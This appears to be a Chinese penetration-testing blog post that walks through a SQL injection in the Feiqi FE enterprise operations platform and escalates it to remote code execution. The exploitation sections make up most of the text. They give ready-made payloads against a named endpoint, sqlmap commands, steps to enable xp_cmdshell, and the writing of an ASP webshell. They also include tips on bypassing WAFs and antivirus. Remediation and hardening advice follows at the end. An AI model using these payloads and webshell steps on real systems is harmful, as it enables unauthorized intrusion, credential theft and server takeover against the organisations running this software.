从SQL注入到RCE:飞企互联FE平台漏洞实战剖析与防御

📅 2026/7/6 9:33:26
从SQL注入到RCE:飞企互联FE平台漏洞实战剖析与防御
1. 项目概述与核心价值最近在梳理一些企业级应用的历史漏洞时飞企互联的FE企业运营管理平台进入了我的视野。这个平台在不少企事业单位里都有部署主要做流程审批、文档管理和协同办公。我注意到围绕它的几个SQL注入漏洞讨论度不低而且最关键的是这些注入点最终能被串联起来实现从数据库信息泄露到远程代码执行的完整攻击链。这可不是一个简单的单点漏洞而是一套组合拳非常典型也极具教学和警示意义。今天我就以一个渗透测试从业者的视角带大家完整地走一遍这个漏洞的发现、利用和复现过程。无论你是刚入门的安全爱好者想了解如何从Web漏洞打到服务器权限还是负责运维此类系统的管理员需要知道风险点在哪里这篇文章都能给你提供清晰的路径和可实操的细节。我们会从最基础的漏洞探测开始一步步深入到利用SQL注入写Webshell最终拿到服务器命令执行权限。过程中我会穿插很多实战中的“踩坑”经验和原理剖析比如为什么这个点能注入、如何绕过可能的防御、写文件时路径和权限的坑等等。好了我们直接进入正题。2. 漏洞环境搭建与目标识别2.1 目标系统与漏洞背景飞企互联FE企业运营管理平台是一个B/S架构的综合性OA系统。这次我们聚焦的漏洞主要存在于其一些后端接口的权限校验和参数过滤环节。根据公开的漏洞情报存在问题的接口不止一个例如/docexchangeManage/checkGroupCode.js就是一个典型的注入点。这类接口往往用于内部校验开发时可能忽略了严格的输入过滤直接将用户可控的参数拼接进了SQL语句。更危险的是如果数据库用户权限足够高例如是sa或具有FILE权限的MySQL用户并且Web应用具有写权限那么SQL注入就可能演变为更严重的“写入文件”操作进而导致RCE。注意所有漏洞复现必须在合法授权的环境中进行。强烈建议使用虚拟机搭建靶场环境切勿对未授权的真实系统进行测试。本文所用技术仅用于安全研究与教学。2.2 实验环境搭建为了原汁原味地复现我们需要一套FE平台的环境。由于官方安装包较难获取我们可以利用一些公开的漏洞靶场或者历史版本镜像。这里我提供一种思路如果你有对应的安装程序可以在Windows Server 2012 R2或Windows Server 2016上配合SQL Server数据库进行部署。Web服务器通常是IIS。部署时注意数据库连接账户的权限设置这直接关系到我们后续漏洞利用的深度。如果搭建完整环境有困难也可以将重点放在漏洞原理和利用链的分析上。我们复现的核心在于理解HTTP请求如何触发漏洞、注入的Payload如何构造、以及如何利用数据库功能写文件。这些逻辑是跨平台通用的。2.3 信息收集与漏洞点探测假设我们现在面对一个未知的FE平台站点。第一步永远是信息收集。我们可以使用FOFA、Shodan或Hunter等网络空间测绘引擎使用特征app飞企互联-FE企业运营管理平台进行搜索快速定位在网资产。找到目标后我们需要验证特定的漏洞接口是否存在。以checkGroupCode.js为例注意实际请求可能是.js或.jsp但漏洞存在于后端处理逻辑与文件扩展名无关。我们可以直接使用浏览器或Burp Suite、HackBar等工具发送探测请求。一个最简单的探测Payload是利用时间盲注观察服务器响应延迟GET /docexchangeManage/checkGroupCode.js?code1;WAITFOR DELAY 0:0:5-- HTTP/1.1 Host: target.com User-Agent: Mozilla/5.0...如果服务器在处理这个请求时停顿了大约5秒才返回那么基本可以确定code参数存在SQL注入漏洞。这里用到了SQL Server的WAITFOR DELAY语句这是一个在盲注场景下非常有效的判断手段。3. SQL注入漏洞深度利用解析3.1 注入类型与数据库判断根据响应我们确认存在注入。接下来要判断数据库类型、注入点类型字符型/数字型以及可用的查询方式。从Payload中的WAITFOR DELAY来看后端数据库很可能是Microsoft SQL Server因为这是SQL Server特有的语法。为了确认我们可以发送一些数据库版本查询的PayloadGET /docexchangeManage/checkGroupCode.js?code1 AND version0-- HTTP/1.1如果页面返回正常或者错误信息中透露出版本信息则进一步确认是SQL Server。如果是MySQL则常用version()或version但WAITFOR DELAY在MySQL中不合法会导致错误这本身也是一种判断方式。确定数据库后我们需要判断注入点的闭合方式。原始查询可能类似SELECT * FROM some_table WHERE code[用户输入]。我们输入1导致语法错误输入1--则注释掉后续单引号使语法正确。这证实了这是一个字符型注入点需要先用单引号闭合再用--或#注释掉原语句末尾的引号。3.2 手工注入信息获取流程在自动化工具大行其道的今天我仍然建议安全研究人员掌握手工注入的流程这能帮你理解底层原理在工具失效时也能灵活应对。下面我们一步步来判断列数使用ORDER BY子句。ORDER BY 1表示按第一列排序如果该列存在请求正常逐渐增加数字直到报错。GET /...checkGroupCode.js?code1 ORDER BY 5-- HTTP/1.1当ORDER BY 6报错时说明查询结果共有5列。这一步是为后续的UNION SELECT联合查询做准备UNION前后查询的列数必须一致。探测显错位找到页面中会显示数据库查询结果的位置。使用UNION SELECT语句并将数字替换为可识别的字符串。GET /...checkGroupCode.js?code-1 UNION SELECT 1,test,3,4,5-- HTTP/1.1注意这里将原查询条件改为-1确保前一个SELECT不返回结果这样页面显示的内容就完全来自我们的UNION SELECT。观察页面看哪个位置的数字被替换成了test字符串。假设第二个位置显示了test那么第二个字段就是一个“显错位”我们可以用它来输出我们想查询的数据。获取关键信息利用显错位我们可以逐步获取数据库名、表名、列名和具体数据。获取当前数据库用户和库名GET /...checkGroupCode.js?code-1 UNION SELECT 1,USER,DB_NAME(),4,5-- HTTP/1.1获取所有数据库名SQL ServerGET /...checkGroupCode.js?code-1 UNION SELECT 1,name,3,4,5 FROM master..sysdatabases-- HTTP/1.1假设当前库是fe_oa获取其中的表名GET /...checkGroupCode.js?code-1 UNION SELECT 1,table_name,3,4,5 FROM information_schema.tables WHERE table_catalogfe_oa-- HTTP/1.1这里需要关注管理员用户表、系统配置表等通常可能命名为t_user,sys_user,admin等。获取表数据假设找到了用户表sys_user我们可以猜测其包含username,password字段。获取数据GET /...checkGroupCode.js?code-1 UNION SELECT 1,username:password,3,4,5 FROM sys_user-- HTTP/1.1这样很可能就拿到了后台管理员的用户名和密码哈希值。如果密码是明文存储在一些老旧系统中并不少见风险极大即使是哈希也可能通过破解获得明文。实操心得在实际测试中页面可能不会直接显示UNION SELECT的结果或者返回的是JSON格式。这时需要仔细查看页面源代码、HTTP响应头或者使用报错注入技术。报错注入利用数据库执行函数时的错误信息来回显数据例如SQL Server的convert()、cast()函数类型转换错误。Payload形如code1 AND convert(int,version)1--错误信息中可能会包含version的内容。3.3 自动化工具辅助验证手工注入虽然透彻但效率较低。我们可以用sqlmap这样的神器进行快速验证和利用。在已确认注入点的情况下使用以下命令sqlmap -u http://target.com/docexchangeManage/checkGroupCode.js?code1 --batch --risk3 --level3 --dbs参数解释--batch: 非交互模式自动选择默认选项。--risk3: 风险等级3允许使用OR布尔注入和UNION查询。--level3: 检测等级3会尝试更多的Payload和测试参数。--dbs: 枚举所有数据库。如果顺利sqlmap会列出所有数据库名。之后可以用-D fe_oa --tables枚举表-D fe_oa -T sys_user --columns枚举列最后--dump导出数据。注意事项使用sqlmap时务必谨慎--risk和--level越高攻击性越强可能对目标数据库造成更大负载或触发WAF。在授权测试中最好与运维方沟通测试时间窗口。此外一些默认Payload可能被拦截需要结合--tamper参数使用编码脚本绕过。4. 从SQL注入到RCE的致命跃迁4.1 利用条件与原理分析拿到数据库数据远不是终点。我们的目标是获得服务器的命令执行权限。这就需要利用SQL注入的“写文件”功能。但这条路并非总是畅通需要满足几个严苛的条件数据库用户具备FILE权限在SQL Server中这通常是sa账户或具有sysadmin角色的账户。我们可以用SELECT is_srvrolemember(sysadmin)来查询当前用户是否具备此权限。在MySQL中需要FILE权限可用SELECT file_priv FROM mysql.user WHERE user CURRENT_USER()查询。知晓Web应用的绝对路径我们需要将恶意文件如Webshell写入到Web服务器能够访问和解析的目录下例如网站的根目录或某个子目录。路径信息可能通过数据库报错、应用默认配置、接口返回等信息泄露。数据库对Web目录有写权限操作系统的文件权限必须允许数据库进程向目标目录写入文件。如果以上条件满足我们就可以通过SQL语句向服务器写入一个可执行的脚本文件如ASP、ASPX、JSP、PHP取决于服务器类型从而获得一个Webshell。4.2 绝对路径获取方法获取Web绝对路径是至关重要的一步。有以下几种常见方法报错信息故意构造错误的SQL语句或参数有时应用会返回包含完整路径的调试信息。默认安装路径对于IISASP.NET常见路径如C:\inetpub\wwwroot\。对于特定应用可能有固定的安装目录。利用数据库功能在SQL Server中可以尝试查询一些系统表或使用扩展存储过程来探测。例如如果数据库和Web在同一服务器可以尝试用xp_dirtree存储过程来列出目录需要相应权限。盲猜结合漏洞验证如果我们通过其他漏洞如文件读取或信息搜集已经知道了网站的大致结构可以结合写文件漏洞进行“爆破”。写入一个内容已知的文件到猜测的路径然后通过HTTP访问该文件来验证路径是否正确。4.3 写入Webshell实战操作假设我们已确认是SQL Server数据库当前用户是sa并且通过某种方式获取到Web物理路径为D:\FE_OA\webapps\。我们将写入一个最简单的ASP一句话木马。ASP一句话的内容通常为%eval request(pass)%。这里pass是连接时使用的密码。在SQL Server中可以使用xp_cmdshell执行系统命令来写文件但更直接的方式是利用SELECT ... INTO OUTFILEMySQL或bcp命令、sp_makewebtask旧版SQL Server或直接使用xp_cmdshell调用echo命令。这里演示一种利用差异备份写入Webshell的经典方法适用于SQL Server但更通用的方法是直接使用xp_cmdshell如果已开启EXEC master..xp_cmdshell echo ^%eval request^(cmd)%^ D:\FE_OA\webapps\shell.asp如果xp_cmdshell被禁用需要先启用它需要sa权限EXEC sp_configure show advanced options,1;RECONFIGURE;EXEC sp_configure xp_cmdshell,1;RECONFIGURE;然后执行上述写文件命令。踩坑记录在实际操作中直接写ASP文件可能会因为字符转义问题失败。更稳妥的方法是先将一句话木马的十六进制编码写入。或者使用SQL Server的OPENROWSET或BULK INSERT语句从网络或本地文件读取内容再写入。另外防病毒软件可能会实时扫描并删除写入的Webshell文件需要做免杀处理。4.4 通过Webshell执行系统命令成功写入shell.asp后我们访问http://target.com/shell.asp。通过中国菜刀、蚁剑、Cobalt Strike等Webshell管理工具或者直接使用浏览器传递参数即可执行系统命令。例如使用浏览器访问http://target.com/shell.asp?cmdwhoami如果页面返回了当前进程的用户身份如nt authority\system或iis apppool\defaultapppool那么恭喜我们已经成功实现了RCE。至此SQL注入漏洞的危害被最大化从数据泄露升级为完全的系统控制。5. 漏洞修复与安全加固建议5.1 漏洞根因与修复方案这个漏洞链的根源在于输入验证缺失前端传入的code等参数未经过任何有效的过滤或转义直接被拼接进SQL语句。权限配置不当数据库连接账户使用了过高权限如sa为注入后扩大攻击面提供了条件。安全编码意识不足使用了危险的动态SQL拼接方式。修复方案使用参数化查询预编译语句这是防止SQL注入最根本、最有效的方法。无论是Java使用PreparedStatement、.NET使用SqlParameter还是其他语言都应强制使用参数化查询确保用户输入永远被当作数据处理而非代码执行。实施最小权限原则为Web应用配置专用的数据库账户并仅授予其业务所需的最小权限SELECT,INSERT,UPDATE,DELETE坚决杜绝FILE,EXECUTE等高危权限更不要使用sa或root账户。严格的输入验证在服务端对所有输入进行白名单验证。例如code参数如果预期是数字则严格校验其为整数格式。Web目录权限控制确保Web目录的写入权限仅限必要的系统进程数据库账户不应具有写权限。部署Web应用防火墙WAF在应用前端部署WAF可以拦截常见的SQL注入攻击Payload作为一道额外的防线。5.2 安全开发生命周期SDL建议对于企业而言修补单个漏洞是治标建立安全开发流程才是治本。安全培训定期对开发人员进行安全编码培训重点讲解OWASP Top 10漏洞及其防范。代码审计在开发阶段和上线前引入静态代码扫描SAST和动态应用安全测试DAST工具自动化发现潜在的安全问题。漏洞管理与应急响应建立漏洞收集、评估、修复和验证的闭环流程。对于像飞企互联这样的第三方系统应密切关注其官方安全公告及时更新补丁。6. 复现过程中的常见问题与排查6.1 注入点探测无响应或报错问题发送时间盲注Payload后页面响应没有延迟。排查确认目标接口是否真实存在且可访问。检查URL路径是否正确注意大小写和路径穿越。可能存在WAF或基础防护设备拦截了含有敏感关键词如WAITFOR,DELAY,UNION的请求。尝试使用大小写混淆、编码如URL编码、十六进制编码、注释符分割等技巧绕过。注入点可能不是字符型尝试去掉单引号测试数字型注入code1 AND 12。使用更普适的布尔盲注Payload进行测试例如code1 AND 11和code1 AND 12观察页面返回内容的差异哪怕是一个单词、一个标点的变化。6.2 UNION SELECT查询不显示数据问题UNION SELECT执行后页面没有显示查询结果。排查确认列数再次用ORDER BY精确判断列数确保UNION前后列数一致。寻找显示位尝试在所有列位置都替换成显眼的字符串如UNION SELECT test1,test2,test3,...然后查看页面源代码搜索test1等关键词数据可能隐藏在HTML注释、JS变量或非显示标签中。使用报错注入如果页面不显示数据但会返回SQL错误信息果断转向报错注入。对于SQL Server可以尝试code1 AND (SELECT 1/0 FROM (SELECT version) AS T)1--这类Payload。6.3 写文件操作失败问题执行写文件命令后访问Webshell返回404或500错误。排查权限不足这是最常见的原因。使用EXEC master..xp_cmdshell whoami查看数据库进程的权限并检查目标目录的ACL访问控制列表。路径错误Web绝对路径不正确。尝试写入一个无害的文本文件到不同可能路径然后通过HTTP访问验证。内容被转义或截断特殊字符如,%,在写入时可能被转义。尝试写入十六进制内容或使用bcp命令从远程共享复制文件。杀毒软件拦截写入的Webshell文件被实时防护软件删除。尝试对Webshell进行编码、混淆或使用不常见的文件扩展名。6.4 工具使用问题速查表问题现象可能原因解决方案sqlmap检测不到注入1. 目标有WAF/IPS2. 注入点需要特定Cookie或Header3. 参数类型复杂如JSON1. 使用--random-agent,--delay,--tamper2. 使用--cookie或--headers3. 使用--data指定POST数据--param-del指定分隔符sqlmap跑出数据乱码数据库编码与终端显示编码不一致尝试--charsetGBK或--hex参数以十六进制获取数据中国菜刀/蚁剑连接失败1. Webshell路径错误2. Webshell代码被修改或删除3. 服务器端防火墙/安全策略拦截1. 重新确认路径和密码2. 重新写入Webshell并检查内容3. 尝试使用其他端口或协议如HTTPS7. 漏洞复现的延伸思考与防御纵深完成整个漏洞复现链给我的感觉是一个看似普通的SQL注入点在不当的配置和权限加持下其破坏力会被无限放大。这不仅仅是飞企互联FE平台的问题很多传统企业级软件在早期开发时都或多或少存在类似的历史包袱。对于防御方来说绝不能只依赖单一防线。我们需要构建纵深防御体系网络层通过防火墙策略限制对管理后台、敏感接口的访问来源。主机层严格遵循最小权限原则配置数据库和Web服务器账户定期更新系统和中间件补丁。应用层这是核心必须落实安全编码规范对所有输入进行校验和过滤使用安全的API如参数化查询。数据层对敏感数据进行加密存储数据库审计日志必须开启用于事后追溯和分析。运维层定期进行安全扫描和渗透测试主动发现潜在风险。对于安全研究者或渗透测试工程师而言这个案例是一个绝佳的教材。它完整地展示了“信息收集 - 漏洞发现 - 漏洞利用 - 权限提升 - 持久化”的攻击链。理解每一步的原理和可能遇到的障碍比单纯运行一个自动化工具要重要得多。在复现过程中我建议大家在每个关键步骤都停下来思考为什么这样做还有没有其他方法如果遇到阻碍可能的突破点在哪里这种思维训练才是提升安全能力的根本。最后再次强调所有技术研究务必在合法合规的环境中进行技术的刀刃应当朝向提升防御能力共同营造更安全的网络空间。